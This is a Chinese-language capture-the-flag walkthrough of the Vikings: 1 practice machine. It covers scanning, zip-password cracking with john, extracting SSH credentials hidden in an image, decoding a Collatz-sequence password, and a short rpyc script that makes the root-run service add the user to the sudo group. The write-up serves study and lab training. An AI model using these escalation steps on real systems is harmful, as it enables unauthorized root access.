靶机下载地址
Vikings: 1
外围信息收集
靶机界面
网卡信息
网卡信息 | 说明 |
---|---|
网卡模式 | 桥接模式 |
MAC地址 | 08:00:27:CD:DD:58 |
主动信息收集
主机发现
udo arp-scan -l
sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:8f:79:1b, IPv4: 10.9.23.16
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.9.23.1 50:6f:77:89:ad:99 HUAWEI TECHNOLOGIES CO.,LTD
10.9.23.21 c0:3e:ba:81:a6:49 Dell Inc.
10.9.23.32 00:e0:4c:28:00:74 REALTEK SEMICONDUCTOR CORP.
10.9.23.33 54:05:db:47:13:1d LCFC(HeFei) Electronics Technology co., ltd
10.9.23.36 f8:e4:3b:e9:88:42 ASIX Electronics Corporation
10.9.23.37 3c:7c:3f:2d:d9:83 ASUSTek COMPUTER INC.
10.9.23.38 50:eb:f6:59:47:e3 ASUSTek COMPUTER INC.
10.9.23.44 3c:7c:3f:1b:02:ae ASUSTek COMPUTER INC.
10.9.23.45 68:da:73:aa:bc:2f (Unknown)
10.9.23.65 00:0c:29:17:c1:67 VMware, Inc.
10.9.23.67 54:05:db:50:f8:c5 LCFC(HeFei) Electronics Technology co., ltd
10.9.23.103 7c:d3:0a:92:2e:f4 INVENTEC CORPORATION
10.9.23.119 00:0c:29:e8:74:0f VMware, Inc.
10.9.23.123 00:0c:29:9c:bf:20 VMware, Inc.
10.9.23.125 68:da:73:a9:5c:57 (Unknown)
10.9.23.128 00:0c:29:47:ec:96 VMware, Inc.
10.9.23.129 c0:18:50:d1:40:9b Quanta Computer Inc.
10.9.23.136 00:e0:4c:28:00:64 REALTEK SEMICONDUCTOR CORP.
10.9.23.140 90:2e:16:67:63:d9 LCFC(HeFei) Electronics Technology co., ltd
10.9.23.167 04:7c:16:3c:f3:9d Micro-Star INTL CO., LTD.
10.9.23.186 74:5d:22:ce:27:2e (Unknown)
10.9.23.199 54:bf:64:54:bb:69 Dell Inc.
10.9.23.200 98:fa:9b:d9:f1:65 LCFC(HeFei) Electronics Technology co., ltd
10.9.23.201 b4:a9:fc:a3:91:79 Quanta Computer Inc.
10.9.23.203 80:fa:5b:47:85:a0 CLEVO CO.
10.9.23.205 bc:ec:a0:22:89:9d COMPAL INFORMATION (KUNSHAN) CO., LTD.
10.9.23.209 74:5d:22:cd:e0:8d (Unknown)
10.9.23.218 f8:75:a4:3d:69:53 LCFC(HeFei) Electronics Technology co., ltd
10.9.23.219 8c:8c:aa:4f:61:b8 LCFC(HeFei) Electronics Technology co., ltd
10.9.23.222 08:00:27:cd:dd:58 PCS Systemtechnik GmbH
10.9.23.223 00:e0:4c:60:05:ad REALTEK SEMICONDUCTOR CORP.
10.9.23.225 84:a9:38:c7:5f:51 LCFC(HeFei) Electronics Technology co., ltd
10.9.23.226 8c:ec:4b:30:8b:69 Dell Inc.
10.9.23.230 00:0c:29:59:f1:8f VMware, Inc.
10.9.23.232 7c:8a:e1:50:f4:81 COMPAL INFORMATION (KUNSHAN) CO., LTD.
0.9.23.233 7c:57:58:67:3c:15 HP Inc.
10.9.23.238 00:2b:67:39:76:66 LCFC(HeFei) Electronics Technology co., ltd
10.9.23.254 a0:b3:cc:25:7a:0c Hewlett Packard
54 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.028 seconds (126.23 hosts/sec). 38 responded
根据MAC地址可以确定靶机IP地址为10.9.23.222
端口扫描
nmap参数说明
参数 | 说明 |
---|---|
-A | 全面扫描,获取更多信息 |
-p- | 全端口扫描 |
-sS | SYN半连接扫描(非必须) |
-sC | --script=default |
-T4 | 挂上4档 |
sudo nmap -A -p- -sS -sC -T4 10.9.23.222
sudo nmap -A -p- -sS -sC -T4 10.9.23.222
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-04 16:38 CST
Nmap scan report for bogon (10.9.23.222)
Host is up (0.00063s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59d4c0fd6245978315c015b2ac256099 (RSA)
| 256 7e37f011638015a3d39d43c609befbda (ECDSA)
|_ 256 52e94f71bc14dc0034f2a7b358b50dce (ED25519)
80/tcp open http Apache httpd 2.4.29
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2020-10-29 21:07 site/
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:CD:DD:58 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.4
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.63 ms bogon (10.9.23.222)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.69 seconds
端口详情
PORT(端口) | STATE(状态) | SERVICE(服务) | VERSION(版本) |
---|---|---|---|
22 | open | ssh | OpenSSH 7.6p1 |
80 | open | http | Apache httpd 2.4.29 |
网站信息
网站首页
点击site进入新页面
渗透过程
查看网页源代码,并没有发现有用信息
敏感目录扫描
尝试一下敏感目录扫描
使用dirb扫描到了三个目录
访问http://10.9.23.222/site/css/
发现了一些css文件
在webflow.css文件中发现了一串base64编码
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
好像也没有什么用
可能是姿势不对,使用gobuster试一下再次敏感目录扫描
这里发现了一个war.txt进去看看
应该是个目录,访问一下试试
没猜到是个啥,可以尝试下载下来看看
这里卡壳了,看了一下教程
说可能是个文件,下载下来看看
使用file查看文件发现是个压缩包
修改文件名后缀,尝试解压,发现需要密码才能查看
破解压缩包密码
这里了解了一个新工具fcrackzip,fcrack 是kali中自带的压缩包密码破解工具,如果没有,使用下面这条命令安装即可
sudo apt install fcrackzip
很可惜使用这个工具没有爆破出来,可能是我不太会使用这个工具
使用john来破解试试
先将压缩文件的密码信息提取出来
使用命令
zip2john warisover.zip > passwd.txt
然后破解出来一个密码:ragnarok123
使用密码打开发现了一张图片
把图片另存一份,查看一下有没有隐写内容,使用binwalk
图片隐写
还真有,提取出来看看
发现了类似账号密码的内容
//FamousBoatbuilder_floki@vikings
//f@m0usboatbuilde7
前期信息收集到还开放了22端口,尝试一下进行ssh远程登录
ssh远程登录
用户名:floki
密码:f@m0usboatbuilde7
进来之后灵魂三问
查看当前目录发现了一个readme.txt
_______________________________________________________________________Floki-Creation____________________________________________________________________________________________________
I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
Because it was I who was leading all the Vikings. I need to find him. He can be anywhere.
I need to create this `boat` to find Ragnar
我是著名的造船师弗洛基。我们竭尽全力袭击了巴黎,但我们失败了。我们不知道战后拉格纳在哪里。他现在很悲伤。我想向他道歉。
因为是我领导着所有的维京人。我要找到他。他可以去任何地方。
我需要造一艘船来找到拉格纳
我们发现当前目录还有一个叫boat的文件
#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)
提权过程
不知道有什么用,先看看能不能sudo提权
发现不行,再试试能不能进行suid提权
find / -perm -u=s -type f 2>/dev/null
这里查询了一些常用的suid提权命令
Linux提权之SUID提权
带有SUID权限位的提权方法
打到现在暂时没有头绪了,需要看网上的教程才能继续了,所以还是沉淀一阵再来搞定他吧
二更
通过一些教程发现id这里有个lxd可以用来提权
先来了解一下lxd吧
LXC和LXD
Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。
Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。
LXD提权
LXD是Linux系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器(container)、启动等等操作。它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。
通过适当的操作,本地lxd组的用户成员可以理解将自己的权限提升为主机操作系统的root权限。这种特性与该用户是否已被授权sudo权限无关,而且全程也无需用户输入密码。研究人员表示,LXD SNAP包中甚至也存在这样的漏洞。
LXD是一个root进程,它可以负责执行任意用户的LXD UNIX套接字写入访问操作。而且在某些情况下,LXD甚至都不会对调用它的用户权限进行检查和匹配,现在社区也有很多种方法可以利用LXD的这种特性来实施攻击。
其中的一项技术就是使用LXD API来将目标主机的根文件系统加载进一个容器中,而本文讨论的也是这项技术。一旦成功,攻击者就可以将低权限的用户提升为root权限,并且能够在不受任何限制的情况下访问目标系统的各种数据资源。
原理
就是用用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权
尝试提权
方法一
先查看靶机中lxd和lxc的二进制文件是否存在
搜索一下这个漏洞有没有可以利用的脚本
……没有实现完成……待我三更吧
方法二
发现的boat文件中给了提示
#Printable chars are your ally.
#num = 29th prime-number.
collatz-conjecture(num)
查了一下资料,提示涉及到了第29个素数和collatz猜想
collatz猜想
考拉兹猜想(英语:Collatz conjecture),又称为奇偶归一猜想、3n+1猜想、冰雹猜想、角谷猜想、哈塞猜想、乌拉姆猜想或叙拉古猜想,[[1]](https://zh.wikipedia.org/wiki/%E8%80%83%E6%8B%89%E5%85%B9%E7%8C%9C%E6%83%B3#cite_note-1)是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1。
不是很懂这些,我们直接拾前人牙慧,使用百度的脚本进行分析
# coding:utf-8
# 判断是否是素数
def isPrime(num):
for i in range(2, num // 2 + 1):
# 不是素数
if (num % i) == 0:
return False
return True
# 科拉茨猜想
def collatzConjecture(num):
array = [num]
while num != 1:
if num % 2 == 1:
num = num * 3 + 1
else:
num //= 2
if num < 256:
array.append(num)
return array
def Prime():
cnt = 0
num = 2
while True:
if isPrime(num):
cnt += 1
if cnt == 29:
# 返回第29个素数
return num
num += 1
if __name__ == "__main__":
# 得到第29个素数
number = Prime()
# 获取科拉茨猜想列表
lists = collatzConjecture(number)
print(*lists)
运行得到结果:
109 164 82 41 124 62 31 94 47 142 71 214 107 161 242 121 182 91 137 206 103 155 233 175 167 251 244 122 61 184 92 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2 1
109 164 82 41 124 62 31 94 47 142 71 214 107 161 242 121 182 91 137 206 103 155 233 175 167 251 244 122 61 184 92 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2 1
boat文件是个ASCII文件,这串数字应该和ASCII码有关系
使用了一款工具解码出来一串字符串
CyberChef/
mR)|>^/Gky[gz=\.F#j5P(
尝试使用这个登录Ragnar账户
登录成功,但是这个登录界面好像和一般的ssh登录界面不太一样
发现了需要在输入一次密码,且使用了sudo权限
查看当前目录下文件发现了flag,查看当前id发现不是root,那么这个flag不是我们的最终目标
学到了一个优化shell的好办法,不知道是不是适用于所有靶机
rpyc提权
使用ssh登录,输入完密码后跳出
[sudo] password for ragnar:
ragnar is not in the sudoers file. This incident will be reported.
出现这个提示,是因为加了开机启动项,就和windows一样。但它是sudo即root权限启动的
发现了 sudo python3 /usr/local/bin/rpyc_classic.py
百度一下发现rpyc支持同步和异步操作、回调和远程服务以及透明的对象代理
了解一下rpc(服务端、客户端连接方式等)
https://rpyc.readthedocs.io/en/latest/tutorial/tut1.html
难怪提示要sudo,这个rpyc_classic.py文件,参考rpyc说明文档。简而言之rpyc是用python写的,可以让客户端与服务器进行通信。
通过文档,得知rpyc监听18812端口
服务是开着的
让客户端向服务器发送命令,写一个将ragnar用户加入root组
import rpyc
def shell():
import os
os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()
运行提权
附一些打靶机过程中参考的文章
https://www.cnblogs.com/sainet/p/15676819.html
https://byesec.com/posts/ae28b72e.html#%E7%B4%A0%E6%95%B0%E6%9F%A5%E6%89%BE-x2F-%E7%A7%91%E6%8B%89%E8%8C%A8%E7%8C%9C%E6%83%B3
https://maidang.cool/2021/43081.html#%E6%8F%90%E6%9D%83